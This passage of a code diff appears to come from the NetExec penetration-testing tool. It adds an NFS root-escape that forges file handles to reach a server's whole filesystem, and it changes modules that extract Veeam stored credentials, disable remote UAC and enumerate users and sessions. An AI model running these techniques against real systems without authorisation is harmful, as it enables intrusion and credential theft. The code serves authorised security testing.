keyHandle, "LocalAccountTokenFilterPolicy\x00", rrp.REG_DWORD, 1) + context.log.highlight("Remote UAC disabled") + + # Enable remote UAC + if self.action == "enable": + rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle, "LocalAccountTokenFilterPolicy\x00", rrp.REG_DWORD, 0) + context.log.highlight("Remote UAC enabled") + + except Exception as e: + context.log.debug(f"Error {e}") + finally: + remoteOps.finish() diff --git a/nxc/modules/spider_plus.py b/nxc/modules/spider_plus.py index da7d1bec..9ccc148d 100755 --- a/nxc/modules/spider_plus.py +++ b/nxc/modules/spider_plus.py @@ -3,10 +3,11 @@ import errno from os.path import abspath, join, split, exists, splitext, getsize, sep from os import makedirs, remove, stat import time -from nxc.paths import TMP_PATH +from nxc.paths import NXC_PATH from nxc.protocols.smb.remotefile import RemoteFile from impacket.smb3structs import FILE_READ_DATA from impacket.smbconnection import SessionError +from impacket.nmb import NetBIOSTimeout CHUNK_SIZE = 4096 @@ -116,18 +117,16 @@ class SMBSpiderPlus: filelist = self.smb.conn.listPath(share, subfolder + "*") except SessionError as e: - self.logger.debug(f'Failed listing files on share "{share}" in folder "{subfolder}".') - self.logger.debug(str(e)) + self.logger.debug(f'Failed listing files on share "{share}" in folder "{subfolder}": {e!s}') if "STATUS_ACCESS_DENIED" in str(e): self.logger.debug(f'Cannot list files in folder "{subfolder}".') - elif "STATUS_OBJECT_PATH_NOT_FOUND" in str(e): self.logger.debug(f"The folder {subfolder} does not exist.") - elif self.reconnect(): filelist = self.list_path(share, subfolder) - + except NetBIOSTimeout as e: + self.logger.debug(f'Failed listing files on share "{share}" in folder "{subfolder}": {e!s}') return filelist def get_remote_file(self, share, path): @@ -166,7 +165,7 @@ class SMBSpiderPlus: def get_file_save_path(self, remote_file): r"""Processes the remote file path to extract the filename and the folder path where the file should be saved locally. - + It converts forward slashes (/) and backslashes (\) in the remote file path to the appropriate path separator for the local file system. The folder path and filename are then obtained separately. """ @@ -213,9 +212,9 @@ class SMBSpiderPlus: # Start the spider at the root of the share folder self.results[share_name] = {} self.spider_folder(share_name, "") - except SessionError as e: + except (SessionError, NetBIOSTimeout) as e: self.logger.exception(e) - self.logger.fail("Got a session error while spidering.") + self.logger.fail(f"Got a session or NetBIOSTimeout error while spidering share: {share_name}") self.reconnect() except Exception as e: @@ -374,7 +373,7 @@ class SMBSpiderPlus: def dump_folder_metadata(self, results): """Takes the metadata results as input and writes them to a JSON file in the `self.output_folder`. - + The results are formatted with indentation and sorted keys before being written to the file. """ metadata_path = join(self.output_folder, f"{self.host}.json") @@ -486,7 +485,7 @@ class NXCModule: EXCLUDE_EXTS Case-insensitive extension filter to exclude (Default: ico,lnk) EXCLUDE_FILTER Case-insensitive filter to exclude folders/files (Default: print$,ipc$) MAX_FILE_SIZE Max file size to download (Default: 51200) - OUTPUT_FOLDER Path of the local folder to save files (Default: /tmp/nxc_spider_plus) + OUTPUT_FOLDER Path of the local folder to save files (Default: ~/.nxc/nxc_spider_plus) """ self.download_flag = False if any("DOWNLOAD" in key for key in module_options): @@ -499,7 +498,7 @@ class NXCModule: self.exclude_filter = get_list_from_option(module_options.get("EXCLUDE_FILTER", "print$,ipc$")) self.exclude_filter = [d.lower() for d in self.exclude_filter] # force case-insensitive self.max_file_size = int(module_options.get("MAX_FILE_SIZE", 50 * 1024)) - self.output_folder = module_options.get("OUTPUT_FOLDER", abspath(join(TMP_PATH, "nxc_spider_plus"))) + self.output_folder = module_options.get("OUTPUT_FOLDER", abspath(join(NXC_PATH, "modules/nxc_spider_plus"))) def on_login(self, context, connection): context.log.display("Started module spidering_plus with the following options:") diff --git a/nxc/modules/veeam.py b/nxc/modules/veeam.py index cd2fc0cb..d1649124 100644 --- a/nxc/modules/veeam.py +++ b/nxc/modules/veeam.py @@ -40,6 +40,9 @@ class NXCModule: PostgresUserForWindowsAuth = "" SqlDatabaseName = "" + # Salt for newer Veeam versions + salt = "" + try: remoteOps = RemoteOperations(connection.conn, False) remoteOps.enableRegistry() @@ -72,6 +75,8 @@ class NXCModule: SqlDatabase = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlDatabaseName")[1].split("\x00")[:-1][0] SqlInstance = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlInstanceName")[1].split("\x00")[:-1][0] SqlServer = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlServerName")[1].split("\x00")[:-1][0] + + salt = self.get_salt(context, remoteOps, regHandle) except DCERPCException as e: if str(e).find("ERROR_FILE_NOT_FOUND"): context.log.debug("No Veeam v12 installation found") @@ -107,28 +112,38 @@ class NXCModule: # Check if we found an SQL Server of some kind if SqlDatabase and SqlInstance and SqlServer: context.log.success(f'Found Veeam DB "{SqlDatabase}" on SQL Server "{SqlServer}\\{SqlInstance}"! Extracting stored credentials...') - credentials = self.executePsMssql(context, connection, SqlDatabase, SqlInstance, SqlServer) + credentials = self.executePsMssql(connection, SqlDatabase, SqlInstance, SqlServer, salt) self.printCreds(context, credentials) elif PostgreSqlExec and PostgresUserForWindowsAuth and SqlDatabaseName: context.log.success(f'Found Veeam DB "{SqlDatabaseName}" on an PostgreSQL Instance! Extracting stored credentials...') - credentials = self.executePsPostgreSql(context, connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName) + credentials = self.executePsPostgreSql(connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName, salt) self.printCreds(context, credentials) - def stripXmlOutput(self, context, output): - return output.split("CLIXML")[1].split(" 0: - arg = True self.logger.debug(f"Dumping users: {', '.join(self.args.active_users)}") - search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)" - search_filter_args = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.active_users)})" + search_filter = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.active_users)})" else: - arg = False self.logger.debug("Trying to dump all users") - search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)" + search_filter = "(sAMAccountType=805306368)" - # default to these attributes to mirror the SMB --users functionality + # Default to these attributes to mirror the SMB --users functionality request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet", "userAccountControl"] resp = self.search(search_filter, request_attributes, sizeLimit=0) - allusers = parse_result_attributes(resp) - count = 0 - activeusers = [] - argsusers = [] + if resp: + all_users = parse_result_attributes(resp) + # Filter disabled users (ignore accounts without userAccountControl value) + active_users = [user for user in all_users if not (int(user.get("userAccountControl", UF_ACCOUNTDISABLE)) & UF_ACCOUNTDISABLE)] - if arg: - resp_args = self.search(search_filter_args, request_attributes, sizeLimit=0) - users_args = parse_result_attributes(resp_args) - # This try except for, if user gives a doesn't exist username. If it does, parsing process is crashing - for i in range(len(self.args.active_users)): - try: - argsusers.append(users_args[i]) - except Exception as e: - self.logger.debug("Exception:", exc_info=True) - self.logger.debug(f"Skipping item, cannot process due to error {e}") - else: - argsusers = allusers + self.logger.display(f"Total records returned: {len(all_users)}, total {len(all_users) - len(active_users):d} user(s) disabled") + self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<9}{'-Description-':<60}") - for user in allusers: - user_account_control = user.get("userAccountControl") - if user_account_control is not None: # Check if user_account_control is not None - account_control = "".join(user_account_control) if isinstance(user_account_control, list) else user_account_control # If it's already a list - account_disabled = int(account_control) & 2 - if not account_disabled: - count += 1 - activeusers.append(user.get("sAMAccountName").lower()) - else: - self.logger.debug(f"userAccountControl for user {user.get('sAMAccountName')} is None") - - if self.username == "": - self.logger.display(f"Total records returned: {len(resp):d}") - for item in resp_args: - if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: - continue - self.logger.highlight(f"{item['objectName']}") - return - self.logger.display(f"Total records returned: {count}, total {len(allusers) - count:d} user(s) disabled") if not arg else self.logger.display(f"Total records returned: {len(argsusers)}, Total {len(allusers) - count:d} user(s) disabled") - self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}") - - for arguser in argsusers: - pwd_last_set = arguser.get("pwdLastSet", "") # Retrieves pwdLastSet directly and defaults to an empty string. - if pwd_last_set: # Checks if pwdLastSet is empty or not. - timestamp_seconds = int(pwd_last_set) / 10**7 # Converts pwdLastSet to an integer. - start_date = datetime(1601, 1, 1) - parsed_pw_last_set = (start_date + timedelta(seconds=timestamp_seconds)).replace(microsecond=0).strftime("%Y-%m-%d %H:%M:%S") - if parsed_pw_last_set == "1601-01-01 00:00:00": - parsed_pw_last_set = "" - - if arguser.get("sAMAccountName").lower() in activeusers and arg is False: - self.logger.highlight(f"{arguser.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}") - elif (arguser.get("sAMAccountName").lower() not in activeusers) and arg is True: - self.logger.highlight(f"{arguser.get('sAMAccountName', '') + ' (Disabled)':<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}") - elif (arguser.get("sAMAccountName").lower() in activeusers): - self.logger.highlight(f"{arguser.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}") + for user in active_users: + pwd_last_set = user.get("pwdLastSet", "") + if pwd_last_set: + pwd_last_set = "" if pwd_last_set == "0" else datetime.fromtimestamp(self.getUnixTime(int(pwd_last_set))).strftime("%Y-%m-%d %H:%M:%S") + self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{pwd_last_set:<20}{user.get('badPwdCount', ''):<9}{user.get('description', '')}") def asreproast(self): if self.password == "" and self.nthash == "" and self.kerberos is False: diff --git a/nxc/protocols/mssql/mssqlexec.py b/nxc/protocols/mssql/mssqlexec.py index 46fd7b8e..3436a002 100755 --- a/nxc/protocols/mssql/mssqlexec.py +++ b/nxc/protocols/mssql/mssqlexec.py @@ -48,7 +48,7 @@ class MSSQLEXEC: def backup_and_enable(self, option): try: - self.backuped_options[option] = self.is_option_enabled("show advanced options") + self.backuped_options[option] = self.is_option_enabled(option) if not self.backuped_options[option]: self.logger.debug(f"Option '{option}' is disabled, attempting to enable it.") query = f"EXEC master.dbo.sp_configure '{option}', 1;RECONFIGURE;" diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index bd1456c2..04d534cc 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -1,13 +1,75 @@ +from termcolor import colored from nxc.connection import connection from nxc.logger import NXCAdapter from nxc.helpers.logger import highlight -from pyNfsClient import Portmap, Mount, NFSv3, NFS_PROGRAM, NFS_V3, ACCESS3_READ, ACCESS3_MODIFY, ACCESS3_EXECUTE, NFSSTAT3 +from nxc.config import host_info_colors +from pyNfsClient import ( + Portmap, + Mount, + NFSv3, +) +from pyNfsClient.const import ( + NFS_PROGRAM, + NFS_V3, + ACCESS3_READ, + ACCESS3_MODIFY, + ACCESS3_EXECUTE, + NFSSTAT3, + NFS3ERR_NOENT, + NF3REG, +) import re import uuid import math import os +class FileID: + root = "root" + ext = "ext/xfs" + btrfs = "btrfs" + udf = "udf" + nilfs = "nilfs" + fat = "fat" + lustre = "lustre" + kernfs = "kernfs" + invalid = "invalid" + unknown = "unknown" + + +# src: https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25 +fileid_types = { + 0: FileID.root, + 1: FileID.ext, + 2: FileID.ext, + 0x81: FileID.ext, + 0x4d: FileID.btrfs, + 0x4e: FileID.btrfs, + 0x4f: FileID.btrfs, + 0x51: FileID.udf, + 0x52: FileID.udf, + 0x61: FileID.nilfs, + 0x62: FileID.nilfs, + 0x71: FileID.fat, + 0x72: FileID.fat, + 0x97: FileID.lustre, + 0xfe: FileID.kernfs, + 0xff: FileID.invalid +} + +# src: https://elixir.bootlin.com/linux/v6.13.4/source/fs/nfsd/nfsfh.h#L17-L45 +fsid_lens = { + 0: 8, + 1: 4, + 2: 12, + 3: 8, + 4: 8, + 5: 8, + 6: 16, + 7: 24, +} + + class nfs(connection): def __init__(self, args, db, host): self.protocol = "nfs" @@ -22,6 +84,10 @@ class nfs(connection): "gid": 0, "aux_gid": [], } + self.root_escape = False + # If root escape is possible, the escape_share and escape_fh will be populated + self.escape_share = None + self.escape_fh = b"" connection.__init__(self, args, db, host) def proto_logger(self): @@ -50,7 +116,7 @@ class nfs(connection): self.port = self.mnt_port self.proto_logger() except Exception as e: - self.logger.fail(f"Error during Initialization: {e}") + self.logger.info(f"Error during Initialization: {e}") return False return True @@ -63,12 +129,20 @@ class nfs(connection): for program in programs: if program["program"] == NFS_PROGRAM: self.nfs_versions.add(program["version"]) - return self.nfs_versions except Exception as e: self.logger.debug(f"Error checking NFS version: {self.host} {e}") + # Connect to NFS + nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3) + self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth) + self.nfs3.connect() + # Check if root escape is possible + self.root_escape = self.try_root_escape() + self.nfs3.disconnect() + def print_host_info(self): - self.logger.display(f"Target supported NFS versions: ({', '.join(str(x) for x in self.nfs_versions)})") + root_escape_str = colored(f"root escape:{self.root_escape}", host_info_colors[1 if self.root_escape else 0], attrs=["bold"]) + self.logger.display(f"Supported NFS versions: ({', '.join(str(x) for x in self.nfs_versions)}) ({root_escape_str})") def disconnect(self): """Disconnect mount and portmap if they are connected""" @@ -274,17 +348,38 @@ class nfs(connection): self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth) self.nfs3.connect() - # Mount the NFS share - mnt_info = self.mount.mnt(remote_dir_path, self.auth) + # Mount the NFS share or get the root handle + if self.root_escape and not self.args.share: + mount_fh = self.escape_fh + elif not self.args.share: + self.logger.fail("No root escape possible, please specify a share") + return + else: + mnt_info = self.mount.mnt(self.args.share, self.auth) + if mnt_info["status"] != 0: + self.logger.fail(f"Error mounting share {self.args.share}: {NFSSTAT3[mnt_info['status']]}") + return + mount_fh = mnt_info["mountinfo"]["fhandle"] - # Update the UID for the file - attrs = self.nfs3.getattr(mnt_info["mountinfo"]["fhandle"], auth=self.auth) - self.auth["uid"] = attrs["attributes"]["uid"] - dir_handle = mnt_info["mountinfo"]["fhandle"] + # Iterate over the path until we hit the file + curr_fh = mount_fh + for sub_path in remote_file_path.lstrip("/").split("/"): + # Update the UID for the next object and get the handle + self.update_auth(mount_fh) + res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth) - # Get the file handle and file size - dir_data = self.nfs3.lookup(dir_handle, file_name, auth=self.auth) - file_handle = dir_data["resok"]["object"]["data"] + # Check for a bad path + if "resfail" in res and res["status"] == NFS3ERR_NOENT: + self.logger.fail(f"Unknown path: {remote_file_path!r}") + return + + curr_fh = res["resok"]["object"]["data"] + # If response is file then break + if res["resok"]["obj_attributes"]["attributes"]["type"] == NF3REG: + break + + # Update the UID and GID for the file + self.update_auth(curr_fh) # Handle files over the default chunk size of 1024 * 1024 offset = 0 @@ -293,7 +388,7 @@ class nfs(connection): # Loop until we have read the entire file with open(local_file_path, "wb+") as local_file: while not eof: - file_data = self.nfs3.read(file_handle, offset, auth=self.auth) + file_data = self.nfs3.read(curr_fh, offset, auth=self.auth) if "resfail" in file_data: raise Exception("Insufficient Permissions") @@ -308,7 +403,7 @@ class nfs(connection): # Write the file data to the local file local_file.write(data) - self.logger.highlight(f"File successfully downloaded to {local_file_path} from {remote_file_path}") + self.logger.highlight(f"File successfully downloaded from {remote_file_path} to {local_file_path}") # Unmount the share self.mount.umnt(self.auth) @@ -321,18 +416,13 @@ class nfs(connection): """Uploads a file to the NFS share""" local_file_path = self.args.put_file[0] remote_file_path = self.args.put_file[1] - file_name = "" + remote_dir_path, file_name = os.path.split(remote_file_path) # Check if local file is exist if not os.path.isfile(local_file_path): self.logger.fail(f"{local_file_path} does not exist.") return - # Do a bit of smart handling for the file paths - file_name = local_file_path.split("/")[-1] if "/" in local_file_path else local_file_path - if not remote_file_path.endswith("/"): - remote_file_path += "/" - self.logger.display(f"Uploading from {local_file_path} to {remote_file_path}") try: # Connect to NFS @@ -340,26 +430,55 @@ class nfs(connection): self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth) self.nfs3.connect() - # Mount the NFS share to create the file - mnt_info = self.mount.mnt(remote_file_path, self.auth) - dir_handle = mnt_info["mountinfo"]["fhandle"] + # Mount the NFS share or get the root handle + if self.root_escape and not self.args.share: + mount_fh = self.escape_fh + elif not self.args.share: + self.logger.fail("No root escape possible, please specify a share") + return + else: + mnt_info = self.mount.mnt(self.args.share, self.auth) + if mnt_info["status"] != 0: + self.logger.fail(f"Error mounting share {self.args.share}: {NFSSTAT3[mnt_info['status']]}") + return + mount_fh = mnt_info["mountinfo"]["fhandle"] - # Update the UID from the directory - attrs = self.nfs3.getattr(dir_handle, auth=self.auth) - self.auth["uid"] = attrs["attributes"]["uid"] + # Iterate over the path + curr_fh = mount_fh + # If target dir is "" or "/" without filter we would get one item with [""] + for sub_path in list(filter(None, remote_dir_path.lstrip("/").split("/"))): + self.update_auth(mount_fh) + res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth) + + # If the path does not exist, create it + if "resfail" in res and res["status"] == NFS3ERR_NOENT: + self.logger.display(f"Creating directory '/{sub_path}/'") + res = self.nfs3.mkdir(curr_fh, sub_path, 0o777, auth=self.auth) + if res["status"] != 0: + self.logger.fail(f"Error creating directory '/{sub_path}/': {NFSSTAT3[res['status']]}") + return + else: + curr_fh = res["resok"]["obj"]["handle"]["data"] + continue + + curr_fh = res["resok"]["object"]["data"] + + # Update the UID and GID from the directory + self.update_auth(curr_fh) # Checking if file_name already exists on remote file path - lookup_response = self.nfs3.lookup(dir_handle, file_name, auth=self.auth) + lookup_response = self.nfs3.lookup(curr_fh, file_name, auth=self.auth) # If success, file_name does not exist on remote machine. Else, trying to overwrite it. if lookup_response["resok"] is None: # Create file self.logger.display(f"Trying to create {remote_file_path}{file_name}") - res = self.nfs3.create(dir_handle, file_name, create_mode=1, mode=0o777, auth=self.auth) + res = self.nfs3.create(curr_fh, file_name, create_mode=1, mode=0o777, auth=self.auth) if res["status"] != 0: raise Exception(NFSSTAT3[res["status"]]) else: file_handle = res["resok"]["obj"]["handle"]["data"] + self.update_auth(file_handle) self.logger.success(f"{file_name} successfully created") else: # Asking the user if they want to overwrite the file @@ -367,18 +486,22 @@ class nfs(connection): if ans.lower() in ["y", "yes", ""]: self.logger.display(f"{file_name} already exists on {remote_file_path}. Trying to overwrite it...") file_handle = lookup_response["resok"]["object"]["data"] - else: - self.logger.fail(f"Uploading was not successful. The {file_name} is exist on {remote_file_path}") - return + + # Update the UID and GID for the file + self.update_auth(file_handle) try: with open(local_file_path, "rb") as file: file_data = file.read().decode() # Write the data to the remote file - self.logger.display(f"Trying to write data from {local_file_path} to {remote_file_path}") - self.nfs3.write(file_handle, 0, len(file_data), file_data, 1, auth=self.auth) - self.logger.success(f"Data from {local_file_path} successfully written to {remote_file_path}") + self.logger.info(f"Trying to write data from {local_file_path} to {remote_file_path}") + res = self.nfs3.write(file_handle, 0, len(file_data), file_data, 1, auth=self.auth) + if res["status"] != 0: + self.logger.fail(f"Error writing to {remote_file_path}: {NFSSTAT3[res['status']]}") + return + else: + self.logger.success(f"Data from {local_file_path} successfully written to {remote_file_path} with permissions 777") except Exception as e: self.logger.fail(f"Could not write to {local_file_path}: {e}") @@ -389,6 +512,216 @@ class nfs(connection): else: self.logger.highlight(f"File {local_file_path} successfully uploaded to {remote_file_path}") + def get_root_handles(self, mount_fh): + """ + Get possible root handles to escape to the root filesystem + Sources: + https://elixir.bootlin.com/linux/v6.13.4/source/fs/nfsd/nfsfh.h#L47-L62 + https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25 + https://github.com/hvs-consulting/nfs-security-tooling/blob/main/nfs_analyze/nfs_analyze.py + + Usually: + - 1 byte: 0x01 fb_version + - 1 byte: 0x00 fb_auth_type, can be 0x00 (no auth) and 0x01 (some md5 auth), but is hardcoded to 0x00 in the linux kernel + - 1 byte: 0xXX fb_fsid_type -> determines the encoding (length) of the fsid, just must be preserved + - 1 byte: 0xXX fb_fileid_type -> determines the filesystem type + """ + # First enumerate the directory and try to find a file/dir that contains the fid_type (4th position: handle[3]) + # See: https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25 + dir_data = self.format_directory(self.nfs3.readdirplus(mount_fh, auth=self.auth)) + filesystem = FileID.unknown + for entry in dir_data: + # Check if "." is already the root directory + if entry["name"] == b".": + if entry["name_handle"]["handle"]["data"][0] in [b"\x02", b"\x80"]: + self.logger.debug("Exported share is already the root directory") + return [entry["name_handle"]["handle"]["data"]] + elif entry["name"] == b"..": + continue + else: + try: + fid_type = entry["name_handle"]["handle"]["data"][3] + if fid_type in fileid_types: + filesystem = fileid_types[fid_type] + self.logger.debug(f"Found filesystem type: {filesystem}") + break + except Exception as e: + self.logger.debug(f"Error on getting filesystem type: {e}") + continue + + self.logger.debug(f"Filesystem type: {filesystem}") + + # Generate the root handle depending on the filesystem type and preserve the file_id (respect the length) + fh_fsid_type = mount_fh[2] + fh_fsid_len = fsid_lens[fh_fsid_type] + root_handles = [] + + # Generate possible root handles + # General syntax: 4 byte header + fsid + fileid + # Format for the file id see: https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25 + fh = bytearray(mount_fh) + if filesystem in [FileID.ext, FileID.unknown]: + root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x02\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x02\x00\x00\x00")) # noqa: E226 FURB113 + root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x80\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x80\x00\x00\x00")) # noqa: E226 + if filesystem in [FileID.btrfs, FileID.unknown]: + # Iterate over btrfs subvolumes, use 16 as default similar to the guys from nfs-security-tooling + for i in range(16): + subvolume = int.to_bytes(i) + b"\x01\x00\x00" + root_handles.append(bytes(fh[:3] + b"\x4d" + fh[4:4+fh_fsid_len] + b"\x00\x01\x00\x00" + b"\x00\x00\x00\x00" + subvolume + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00")) # noqa: E226 + + return root_handles + + def try_root_escape(self) -> bool: + """ + With an established connection look for a share that can be escaped to the root filesystem. + If successfull, self.escape_share and self.escape_fh will be populated. + + Returns + ------- + bool: True if root escape was successful + """ + if not self.nfs3: + raise Exception("NFS connection is not established") + + output_export = str(self.mount.export()) + reg = re.compile(r"ex_dir=b'([^']*)'") # Get share names + shares = list(reg.findall(output_export)) + + self.logger.debug(f"Trying root escape on shares: {shares}") + for share in shares: + mount_info = self.mount.mnt(share, self.auth) + if mount_info["status"] != 0: + self.logger.debug(f"Root escape: can't list directory {share}: {NFSSTAT3[mount_info['status']]}") + self.mount.umnt(self.auth) + continue + mount_fh = mount_info["mountinfo"]["fhandle"] + try: + possible_root_fhs = self.get_root_handles(mount_fh) + for fh in possible_root_fhs: + if "resfail" not in self.nfs3.readdir(fh, auth=self.auth): + self.logger.info(f"Root escape successful on share '{share}' with handle: {fh.hex()}") + self.escape_share = share + self.escape_fh = fh + self.mount.umnt(self.auth) + return True + except Exception as e: + self.logger.debug(f"Error trying root escape on share '{share}': {e}") + self.mount.umnt(self.auth) + return False + + def ls(self): + # Connect to NFS + nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3) + self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth) + self.nfs3.connect() + + # Remove leading or trailing slashes + self.args.ls = self.args.ls.lstrip("/").rstrip("/") + + # NORMAL LS CALL (without root escape) + if self.args.share: + mount_info = self.mount.mnt(self.args.share, self.auth) + mount_fh = mount_info["mountinfo"]["fhandle"] + elif self.root_escape: + # Interestingly we don't actually have to mount the share if we already got the handle + self.logger.success(f"Successful escape on share: {self.escape_share}") + mount_fh = self.escape_fh + else: + self.logger.fail("No root escape possible, please specify a share") + return + + # Update UID and GID for the share + self.update_auth(mount_fh) + + # We got a path to look up + curr_fh = mount_fh + is_file = False # If the last path is a file + + # If ls is "" or "/" without filter we would get one item with [""] + for sub_path in list(filter(None, self.args.ls.split("/"))): + res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth) + + if "resfail" in res and res["status"] == NFS3ERR_NOENT: + self.logger.fail(f"Unknown path: {self.args.ls!r}") + return + # If file then break and only display file + if res["resok"]["obj_attributes"]["attributes"]["type"] == NF3REG: + is_file = True + break + curr_fh = res["resok"]["object"]["data"] + + # Update the UID and GID for the file/dir + self.update_auth(curr_fh) + + dir_listing = self.nfs3.readdirplus(curr_fh, auth=self.auth) + if dir_listing["status"] != 0: + self.logger.fail(f"Error on listing directory: {NFSSTAT3[dir_listing['status']]}") + return + content = self.format_directory(dir_listing) + + # Sometimes the NFS Server does not return the attributes for the files + # However, they can still be looked up individually is missing + for item in content: + if not item["name_attributes"]["present"]: + try: + res = self.nfs3.lookup(curr_fh, item["name"].decode(), auth=self.auth) + item["name_attributes"]["attributes"] = res["resok"]["obj_attributes"]["attributes"] + item["name_attributes"]["present"] = True + item["name_handle"]["handle"] = res["resok"]["object"] + item["name_handle"]["present"] = True + except Exception as e: + self.logger.debug(f"Error on getting attributes for {item['name'].decode()}: {e}") + + # If the requested path is a file, we filter out all other files + path = f"{self.args.share if self.args.share else ''}/{self.args.ls}" + if is_file: + content = [x for x in content if x["name"].decode() == sub_path] + path = path.rsplit("/", 1)[0] # Remove the file from the path + self.print_directory(content, path) + + def print_directory(self, content, path): + """ + Highlight log the content of the directory provided by a READDIRPLUS call. + Expects an FORMATED output of self.format_directory. + """ + self.logger.highlight(f"{'UID':<11}{'Perms':<7}{'File Size':<14}{'File Path'}") + self.logger.highlight(f"{'---':<11}{'-----':<7}{'---------':<14}{'---------'}") + for item in content: + if not item["name_attributes"]["present"] or not item["name_handle"]["present"]: + uid = "-" + perms = "----" + file_size = "-" + else: + uid = item["name_attributes"]["attributes"]["uid"] + is_dir = "d" if item["name_attributes"]["attributes"]["type"] == 2 else "-" + read_perm, write_perm, exec_perm = self.get_permissions(item["name_handle"]["handle"]["data"]) + perms = f"{is_dir}{'r' if read_perm else '-'}{'w' if write_perm else '-'}{'x' if exec_perm else '-'}" + file_size = convert_size(item["name_attributes"]["attributes"]["size"]) + self.logger.highlight(f"{uid:<11}{perms:<7}{file_size:<14}{path.rstrip('/') + '/' + item['name'].decode()}") + + def format_directory(self, raw_directory): + """Convert the chained directory entries to a list of the entries""" + if "resfail" in raw_directory: + self.logger.debug("Insufficient Permissions, NFS returned 'resfail'") + return {} + items = [] + nextentry = raw_directory["resok"]["reply"]["entries"][0] + while nextentry: + entry = nextentry + nextentry = entry["nextentry"][0] if entry["nextentry"] else None + entry.pop("nextentry") + items.append(entry) + + # Sort by name to be linux-like + return sorted(items, key=lambda x: x["name"].decode()) + + def update_auth(self, file_handle): + """Update the UID and GID for the file handle""" + attrs = self.nfs3.getattr(file_handle, auth=self.auth) + self.logger.debug(f"Updating auth with UID: {attrs['attributes']['uid']} and GID: {attrs['attributes']['gid']}") + self.auth["uid"] = attrs["attributes"]["uid"] + self.auth["gid"] = attrs["attributes"]["gid"] + def convert_size(size_bytes): if size_bytes == 0: diff --git a/nxc/protocols/nfs/proto_args.py b/nxc/protocols/nfs/proto_args.py index 48b8e41f..abdba2fd 100644 --- a/nxc/protocols/nfs/proto_args.py +++ b/nxc/protocols/nfs/proto_args.py @@ -4,8 +4,10 @@ def proto_args(parser, parents): nfs_parser.add_argument("--nfs-timeout", type=int, default=30, help="NFS connection timeout (default: %(default)ss)") dgroup = nfs_parser.add_argument_group("NFS Mapping/Enumeration", "Options for Mapping/Enumerating NFS") + dgroup.add_argument("--share", help="Specify a share, e.g. for --ls, --get-file, --put-file") dgroup.add_argument("--shares", action="store_true", help="List NFS shares") dgroup.add_argument("--enum-shares", nargs="?", type=int, const=3, help="Authenticate and enumerate exposed shares recursively (default depth: %(const)s)") + dgroup.add_argument("--ls", const="/", nargs="?", metavar="PATH", help="List files in the specified NFS share. Example: --ls /") dgroup.add_argument("--get-file", nargs=2, metavar="FILE", help="Download remote NFS file. Example: --get-file remote_file local_file") dgroup.add_argument("--put-file", nargs=2, metavar="FILE", help="Upload remote NFS file with chmod 777 permissions to the specified folder. Example: --put-file local_file remote_file") diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index d4832cf1..01a67749 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -29,6 +29,7 @@ from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5.dcomrt import DCOMConnection from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login from impacket.smb3structs import FILE_SHARE_WRITE, FILE_SHARE_DELETE +from impacket.dcerpc.v5 import tsts as TSTS from nxc.config import process_secret, host_info_colors from nxc.connection import connection, sem, requires_admin, dcom_FirewallChecker @@ -870,6 +871,162 @@ class smb(connection): self.logger.debug(f"ps_execute response: {response}") return response + def get_session_list(self): + with TSTS.TermSrvEnumeration(self.conn, self.host, self.kerberos) as lsm: + handle = lsm.hRpcOpenEnum() + rsessions = lsm.hRpcGetEnumResult(handle, Level=1)["ppSessionEnumResult"] + lsm.hRpcCloseEnum(handle) + sessions = {} + for i in rsessions: + sess = i["SessionInfo"]["SessionEnum_Level1"] + state = TSTS.enum2value(TSTS.WINSTATIONSTATECLASS, sess["State"]).split("_")[-1] + sessions[sess["SessionId"]] = { + "state": state, + "SessionName": sess["Name"], + 